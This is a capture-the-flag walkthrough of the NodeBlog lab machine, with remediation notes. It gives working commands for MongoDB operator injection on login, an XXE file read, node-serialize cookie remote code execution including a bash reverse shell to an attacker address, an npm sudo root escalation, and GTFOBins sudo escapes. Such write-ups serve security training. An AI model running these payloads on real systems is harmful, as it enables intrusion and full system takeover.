NodeBlog
Summary
I scanned the target and found only two open services: SSH restricted to public-key login and a Node.js Express web application on TCP port 5000. The login page was vulnerable to MongoDB NoSQL injection — substituting a query-operator object for the password field authenticated as admin without knowing the real password. An XML article-upload endpoint parsed my own XML with external entities enabled, letting me read the server source code and confirm the auth cookie was deserialized with the unsafe node-serialize library.
By embedding a self-invoking JavaScript function in a forged cookie I triggered remote code execution as the application user and captured the user flag. On the local host the admin account had an unrestricted sudo rule for npm; npm lifecycle hooks ran my own shell commands as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HASH="<the-hash-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"Some commands also carry a value in angle brackets — <author>, <content>, <post> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Confirm open ports and service versions.
$ nmap -Pn -sV -p 22,5000 --min-rate 5000 $TARGETFingerprint the web framework via response headers.
$ curl -i http://$TARGET:5000/Exact commands 1
The $ne operator bypasses password comparison; copy the full auth cookie value from the Set-Cookie header in the response.
$ curl -i -X POST http://$TARGET:5000/login -H 'Content-Type: application/json' -d '{"user":"admin","password":{"$ne":"wrongpassword"}}'FixSanitize login inputs to block MongoDB operator injectionCritical
Exact commands 1
Reads /etc/passwd as an XXE proof. Swap the SYSTEM path for the app source file (e.g. File:///opt/blog/server.js) to confirm node-serialize usage.
$ curl -s -X POST http://$TARGET:5000/articles/xml -H 'Content-Type: application/xml' -H "Cookie: auth=$COOKIE" --data-binary '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><post><author>&file;</author><title>x</title><content>x</content></post>'FixDisable XML external entity processing on the article upload endpointHigh
Exact commands 2
Proof-of-concept: confirm execution by reading /tmp/nb_rce_test back via a follow-up XXE call or a second RCE command that copies it to a readable location.
$ python3 - <<PY
import requests, urllib.parse, json
cmd = 'id > /tmp/nb_rce_test'
p = {'user': 'admin', 'sign': "$HASH",
'rce': "_\$\$ND_FUNC\$\$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYReplace $ATTACKER_IP with your listener's IP; run nc -lvnp 4444 beforehand to receive the interactive reverse shell.
$ python3 - <<PY
import requests, urllib.parse, json
# Start listener first: nc -lvnp 4444
cmd = 'bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'
p = {'user': 'admin', 'sign': "$HASH",
'rce': "_\$\$ND_FUNC\$\$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYFixReplace insecure cookie deserialization with safe structured parsingCritical
Exact commands 1
Stages user.txt to /tmp/userflag; retrieve by reading /tmp/userflag via XXE or cat in the interactive shell. Flag value: <user.txt>.
$ python3 - <<PY
import requests, urllib.parse, json
cmd = 'cat /home/admin/user.txt > /tmp/userflag'
p = {'user': 'admin', 'sign': "$HASH",
'rce': "_\$\$ND_FUNC\$\$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYExact commands 2
From the admin shell — confirm (root) NOPASSWD: /usr/bin/npm is listed.
$ sudo -lThe preinstall hook runs /bin/bash as root; --unsafe-perm preserves the root UID during script execution.
$ mkdir /tmp/npmpe && cd /tmp/npmpe && echo '{"scripts":{"preinstall":"/bin/bash"}}' > package.json && sudo npm install --unsafe-permFixRemove npm and all package managers from the sudoers allowed-commands listCritical
Exact commands 1
Run as root in the npm-spawned shell; flag value placeholder: <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.